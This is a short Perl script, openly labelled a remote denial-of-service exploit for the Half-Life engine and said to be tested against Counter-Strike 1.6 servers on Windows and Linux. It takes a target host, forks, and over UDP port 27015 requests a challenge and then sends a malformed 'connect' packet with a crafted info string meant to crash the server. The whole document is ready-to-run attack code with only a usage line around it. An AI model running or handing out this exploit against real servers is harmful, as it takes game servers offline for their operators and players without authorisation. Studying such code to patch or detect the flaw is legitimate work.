#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015' ,Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a3 6258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}